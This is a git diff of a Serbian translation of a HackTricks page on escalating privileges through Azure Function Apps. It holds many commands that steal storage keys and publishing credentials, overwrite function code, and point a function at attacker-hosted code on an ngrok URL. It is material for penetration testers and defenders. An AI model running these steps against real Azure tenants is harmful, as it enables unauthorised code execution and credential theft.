mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+85
-64
@@ -4,7 +4,7 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
Pogledajte sledeću stranicu za više informacija:
|
||||
Pogledaj sledeću stranicu za više informacija:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
@@ -12,26 +12,26 @@ Pogledajte sledeću stranicu za više informacija:
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
Ako imate dozvole za čitanje containers unutar Storage Account koji čuva podatke Function, moguće je pronaći **različite containers** (prilagođene ili sa unapred određenim imenima) koje mogu sadržati **kod koji izvršava Function**.
|
||||
Sa permisijama za čitanje container-a unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći **različite container-e** (custom ili sa unapred definisanim imenima) koji mogu da sadrže **code koji izvršava function**.
|
||||
|
||||
Kada pronađete gde je kod Function, ako imate dozvole za pisanje na njega možete naterati Function da izvrši bilo koji kod i eskalirate privilegije na managed identities pridružene Function.
|
||||
Kada pronađeš gde se nalazi code funkcije, ako imaš write permisije nad njim, možeš naterati function da izvrši bilo koji code i eskaliraš privilegije do managed identities prikačenih na function.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
Kod Function je obično smešten u file share. Sa dovoljnim pristupom moguće je izmeniti fajl sa kodom i **naterati Function da učita proizvoljan kod**, što omogućava eskalaciju privilegija na managed identities pridružene Function.
|
||||
Code funkcije se obično čuva unutar file share-a. Sa dovoljno pristupa moguće je izmeniti code fajl i **naterati function da učita proizvoljan code**, što omogućava eskalaciju privilegija do managed identities prikačenih na Function.
|
||||
|
||||
Ovaj metod deployment-a obično konfiguriše podešavanja **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti iz
|
||||
Ovaj deployment method obično konfiguriše settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možeš dobiti iz
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Te konfiguracije sadrže **Storage Account Key** koji Function može koristiti za pristup kodu.
|
||||
Ti konfiguracije će sadržati **Storage Account Key** koji Function može da koristi za pristup kodu.
|
||||
|
||||
> [!CAUTION]
|
||||
> Sa dovoljnim dozvolama za povezivanje na File Share i **izmenom pokrenutog skripta**, moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije.
|
||||
> Sa dovoljno dozvola za povezivanje na File Share i **izmenu skripte** koja se izvršava, moguće je izvršiti proizvoljan code u Function i eskalirati privilegije.
|
||||
|
||||
Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da pogledate i sledeću stranicu za više informacija o file share-ovima:
|
||||
Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da proverite i sledeću stranicu za više informacija o file shares:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Takođe je uobičajeno pronaći zip izdanja unutar foldera `function-releases` u Storage Account containeru koji function app koristi, u kontejneru koji je **obično nazvan `function-releases`**.
|
||||
Takođe je uobičajeno pronaći **zip releases** unutar foldera `function-releases` u Storage Account containeru koji function app koristi, u containeru **obično nazvanom `function-releases`**.
|
||||
|
||||
Obično će ova metoda implementacije postaviti `WEBSITE_RUN_FROM_PACKAGE` konfiguraciju u:
|
||||
Obično će ovaj metod deploy-a postaviti `WEBSITE_RUN_FROM_PACKAGE` config u:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
Ova konfiguracija će obično sadržati **SAS URL za preuzimanje** koda iz Storage Account-a.
|
||||
|
||||
> [!CAUTION]
|
||||
> Sa dovoljnim privilegijama za povezivanje na blob container koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije.
|
||||
> Sa dovoljno permisija za povezivanje na blob container koji **sadrži code u zip-u** moguće je izvršiti arbitrary code u Function i eskalirati privilegije.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Baš kao i u prethodnom slučaju, ako je deployment urađen preko Github Actions moguće je pronaći folder **`github-actions-deploy`** u Storage Account koji sadrži zip sa kodom i SAS URL ka zip-u u podešavanju `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Kao i u prethodnom slučaju, ako je deployment urađen preko Github Actions, moguće je pronaći folder **`github-actions-deploy`** u Storage Account-u koji sadrži zip koda i SAS URL do zip-a u podešavanju `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Sa permisijama za čitanje containera unutar Storage Account koji čuva podatke funkcije moguće je pronaći container **`scm-releases`**. Tamo je moguće naći najnovije izdanje u **Squashfs filesystem file format** i shodno tome moguće je pročitati kod funkcije:
|
||||
Sa permisijama za čitanje container-a unutar Storage Account-a koji čuva function data, moguće je pronaći container **`scm-releases`**. Tamo je moguće pronaći najnoviji release u **Squashfs filesystem file format** i zato je moguće pročitati code funkcije:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
Takođe je moguće pronaći **master and functions keys** pohranjene u storage account-u, u containeru **`azure-webjobs-secrets`** unutar foldera **`<app-name>`**, u JSON fajlovima koje tamo možete pronaći.
|
||||
Takođe je moguće pronaći **master i functions keys** koji su sačuvani u storage account-u u container-u **`azure-webjobs-secrets`** unutar foldera **`<app-name>`** u JSON fajlovima koje tamo možete pronaći.
|
||||
|
||||
> [!CAUTION]
|
||||
> Sa dovoljno dozvola za povezivanje na blob container koji **sadrži kod u zip extension fajlu** (koji je zapravo **`squashfs`**), moguće je izvršiti proizvoljni kod u Function-u i eskalirati privilegije.
|
||||
> Sa dovoljno dozvola za povezivanje na blob container koji **sadrži kod u zip extension fajlu** (koji je zapravo **`squashfs`**) moguće je izvršiti arbitrary code u Function-u i eskalirati privilegije.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Ova dozvola omogućava да се излистају function, master и system keys, али не host key, за наведenu функцију помоћу:
|
||||
Ова дозвола омогућава да се прикажу function, master и system keys, али не и host key, за наведenu function помоћу:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
Sa master key-jem je takođe moguće dobiti izvorni kod u URL-u poput:
|
||||
Sa master key-jem je takođe moguće dobiti source code na URL-u kao što je:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
I da **izmenite kod koji se izvršava** u funkciji sa:
|
||||
I da **promeni kod koji se izvršava** u funkciji sa:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## Python function app example
|
||||
@@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
Ova dozvola omogućava добијање подразумијеваног кључа за наведenu функцију помоћу:
|
||||
Ово право омогућава да се добије default key, за наведену function помоћу:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
Pozovite funkciju koristeći podrazumevani ključ koji ste dobili:
|
||||
Pozovi funkciju koristeći dobijeni default key:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
Ovo dopuštenje omogućava kreiranje/azuriranje ključa određene funkcije sa:
|
||||
Ова дозвола омогућава креирање/ажурирање function key-ја наведенe функције са:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
Ovo dopuštenje omogućava kreiranje/azuriranje master key-a za navedenu funkciju pomoću:
|
||||
Ova dozvola omogućava kreiranje/ažuriranje master key za navedenu function sa:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da pomoću ovog ključa možete takođe pristupiti izvornom kodu i izmeniti ga kao što je ranije objašnjeno!
|
||||
> Zapamtite da sa ovim ključem takođe možete da pristupite izvornom kodu i izmenite ga, kao što je prethodno objašnjeno!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
Ova dozvola omogućava kreiranje/azuriranje sistemskog ključa funkcije za navedenu funkciju pomoću:
|
||||
Ova dozvola omogućava kreiranje/ažuriranje system function key za navedenu funkciju sa:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
Koristi ključ:
|
||||
Upotrebite ključ:
|
||||
```bash
|
||||
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
Ova dozvola omogućava pristup podešavanjima funkcije. U tim konfiguracijama može se naći podrazumevana vrednost **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koja sadrži **ključ naloga za pristup blob storage-a funkcije sa punim ovlašćenjima**.
|
||||
Ova permission omogućava dobijanje settings za function. Unutar ovih konfiguracija možda je moguće pronaći default vrednosti **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koje sadrže **account key za pristup blob storage-u funkcije sa FULL permissions**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
Štaviše, ova dozvola takođe omogućava dobijanje **SCM username and password** (ako je omogućeno) pomoću:
|
||||
Štaviše, ova dozvola takođe omogućava dobijanje **SCM korisničkog imena i lozinke** (ako je omogućeno) pomoću:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Ove dozvole omogućavaju da se nabroje vrednosti konfiguracije funkcije, kao što smo ranije videli, i da se **izmenjuju te vrednosti**. Ovo je korisno zato što ova podešavanja ukazuju gde se nalazi kod koji se izvršava unutar funkcije.
|
||||
Ove dozvole omogućavaju da se izlistaju config vrednosti funkcije kao što smo ranije videli, plus da se **izmene ove vrednosti**. Ovo je korisno zato što ova podešavanja pokazuju gde se nalazi code koji treba da se izvrši unutar funkcije.
|
||||
|
||||
Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip fajla koji sadrži novi kod koji će se izvršavati unutar web aplikacije:
|
||||
Zbog toga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** tako da pokazuje na URL zip file koji sadrži novi code koji će se izvršavati unutar web application:
|
||||
|
||||
- Počnite tako što ćete preuzeti trenutnu konfiguraciju
|
||||
- Start by getting the current config
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- Napravite kod koji želite da funkcija izvršava i javno ga hostujte
|
||||
- Napravi code koji želiš da function pokrene i hostuj ga javno
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -224,9 +224,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip** fajlom koji sadrži kod.
|
||||
- Izmeni funkciju, zadrži prethodne parametre i dodaj na kraj config **`WEBSITE_RUN_FROM_PACKAGE`** koji pokazuje na URL sa **zip** fajlom koji sadrži kod.
|
||||
|
||||
U nastavku je primer mojih **ličnih podešavanja (moraćete da promenite vrednosti za svoja)**; obratite pažnju na kraju na vrednost `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju.
|
||||
Sledeći je primer mojih **sopstvenih settings koje ćeš morati da promeniš za svoje**, obrati pažnju na kraju na vrednosti `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, tu sam hostovao app.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -236,7 +236,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
Sa ovom dozvolom je **moguće izmeniti kod aplikacije** kroz web konzolu (ili kroz sledeći API endpoint):
|
||||
Sa ovim permisijama je **moguće izmeniti kod aplikacije** kroz web konzolu (ili kroz sledeći API endpoint):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -266,7 +266,7 @@ body: responseMessage
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
Ova dozvola omogućava listanje svih publishing profila koji u suštini sadrže **basic auth credentials**:
|
||||
Ova dozvola omogućava da se izlistaju svi publishing profili koji u osnovi sadrže **basic auth kredencijale**:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -274,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
Druga opcija je da postavite sopstvene kredencijale i koristite ih pomoću:
|
||||
Druga opcija bi bila da postaviš sopstvene kredencijale i koristiš ih pomoću:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- Ako su kredencijali **REDACTED**
|
||||
- Ako su **REDACTED** kredencijali
|
||||
|
||||
Ako vidite da su ti kredencijali **REDACTED**, to je zato što morate **omogućiti opciju SCM basic authentication** i za to vam treba druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
Ako vidiš da su ti kredencijali **REDACTED**, to je zato što **moraš da omogućiš SCM basic authentication opciju** i za to ti je potrebna druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -304,26 +304,47 @@ az rest --method PUT \
|
||||
```
|
||||
- **Method SCM**
|
||||
|
||||
Zatim, možete pristupiti SCM URL-u vaše function app koristeći ove **basic auth credentials** i dobiti vrednosti env variables:
|
||||
Zatim možete pristupiti sa ovim **basic auth credentials za SCM URL** vaše function app i dobiti vrednosti env variables:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Imajte na umu da je **SCM username** obično znak "$" praćen imenom aplikacije, dakle: `$<app-name>`. _
|
||||
Možete da preuzmete, izmenite i upload-ujete novi function code :
|
||||
```bash
|
||||
# download
|
||||
curl -u '<username>:<password>' -X GET \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
|
||||
-o current_function_code.zip
|
||||
|
||||
Takođe možete pristupiti web stranici na `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
unzip current_function_code.zip -d updated_code/
|
||||
cd updated_code/
|
||||
#... modify the function code
|
||||
zip -r ../updated_function_app.zip .
|
||||
cd ../
|
||||
|
||||
Vrednosti podešavanja sadrže **AccountKey** storage account-a koji čuva podatke function app-a, što omogućava kontrolu nad tim storage account-om.
|
||||
# upload
|
||||
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
|
||||
```
|
||||
Možete čak i da otpremite određenu datoteku :
|
||||
```bash
|
||||
curl -u '<username>:<password>' \
|
||||
-X PUT \
|
||||
-H "Content-Type: application/javascript" \
|
||||
-H "If-Match: *" \
|
||||
--data-binary "@./my_local_payload.js" \
|
||||
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
|
||||
```
|
||||
_Napomena da je **SCM username** obično znak "$" praćen imenom app, dakle: `$<app-name>`._
|
||||
|
||||
Takođe možeš pristupiti web strani sa `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
Vrednosti podešavanja sadrže **AccountKey** storage account-a koji čuva podatke function app-a, što omogućava kontrolu tog storage account-a.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Povežite se na FTP server koristeći:
|
||||
Poveži se na FTP server koristeći:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
@@ -337,19 +358,19 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_Imajte na umu da je **FTP username** obično u formatu \<app-name>\\$\<app-name>._
|
||||
_Напомена: **FTP username** је обично у формату \<app-name>\\$\<app-name>._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
Ova dozvola omogućava **čitanje izvornog koda** aplikacije preko VFS-a:
|
||||
Ова permission омогућава да се **прочита source code** апликације кроз VFS:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
Sa ovom dozvolom moguće je [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i time pristupiti i izmeniti kod funkcije.
|
||||
Sa ovom dozvolom je moguće [dobiti **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i time pristupiti i menjati kod funkcije.
|
||||
|
||||
Međutim, pri mojim poslednjim proverama nije vraćen nijedan token, tako da možda više nije omogućen ili ne radi, ali evo kako biste to uradili:
|
||||
Međutim, u mojim poslednjim proverama nijedan token nije vraćen, tako da je možda onemogućeno ili više ne radi, ali evo kako biste to uradili:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
Ova dozvola omogućava da se **omoguće funkcije** koje su možda onemogućene (ili da se onemoguće).
|
||||
Ove permissions dozvoljavaju da se **enable functions** koje možda su disabled (ili da se disable-uju).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradama):
|
||||
Takođe je moguće videti da li je function omogućen ili onemogućen na sledećem URL-u (koristeći permission u zagradi):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
Sa ovim dozvolama moguće je **izmeniti kontejner koji pokreće function app** konfigurisan da pokreće kontejner. To bi omogućilo napadaču da otpremi zlonamerni azure function container app na docker hub (na primer) i natera funkciju da ga izvrši.
|
||||
Sa ovim dozvolama moguće je **izmeniti container koji pokreće function app** konfigurisan da radi u containeru. To bi omogućilo napadaču da otpremi zlonamerni azure function container app na docker hub (na primer) i natera function da ga izvrši.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
Sa ovim dozvolama je moguće **attach a new user managed identity to a function**. Ako je function kompromitovana, ovo bi omogućilo eskalaciju privilegija na bilo koji user managed identity.
|
||||
Sa ovim permisijama moguće je **prikačiti novu user managed identity na function**. Ako je function bio kompromitovan, ovo bi omogućilo eskalaciju privilegija do bilo koje user managed identity.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### Daljinsko otklanjanje grešaka
|
||||
### Remote Debugging
|
||||
|
||||
Takođe je moguće povezati se i debug-ovati pokrenutu Azure Function kao [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, po defaultu Azure će ovu opciju isključiti nakon 2 dana ako developer zaboravi, kako bi se izbegle ranjive konfiguracije.
|
||||
Takođe je moguće povezati se radi debugovanja pokrenute Azure function kao što je [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, po difoltu Azure će isključiti ovu opciju nakon 2 dana, u slučaju da developer zaboravi, kako bi se izbeglo ostavljanje ranjivih konfiguracija.
|
||||
|
||||
Moguće je proveriti da li Function ima omogućeno debugovanje pomoću:
|
||||
Moguće je proveriti da li je za Function omogućen debugging sa:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
Ako imate dozvolu `Microsoft.Web/sites/config/write`, moguće je i staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`).
|
||||
Имајући дозволу `Microsoft.Web/sites/config/write`, такође је могуће ставити function у debugging mode (следећа команда такође захтева дозволе `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` и `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Promena Github repozitorijuma
|
||||
### Change Github repo
|
||||
|
||||
Pokušao sam da promenim Github repo sa kojeg se vrši deploying izvršavanjem sledećih komandi, ali čak i ako je promenjen, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\
|
||||
Štaviše, **managed identity federated credential nije ažuriran** da dozvoli novi repozitorijum, pa izgleda da ovo nije naročito korisno.
|
||||
Pokušao sam da promenim Github repo iz kog se vrši deployment tako što sam izvršio sledeće komande, ali čak i ako se to promenilo, **novi code nije učitan** (verovatno zato što očekuje da Github Action ažurira code).\
|
||||
Pored toga, **managed identity federated credential nije bio ažuriran** da dozvoli novi repository, tako da izgleda da ovo nije baš korisno.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user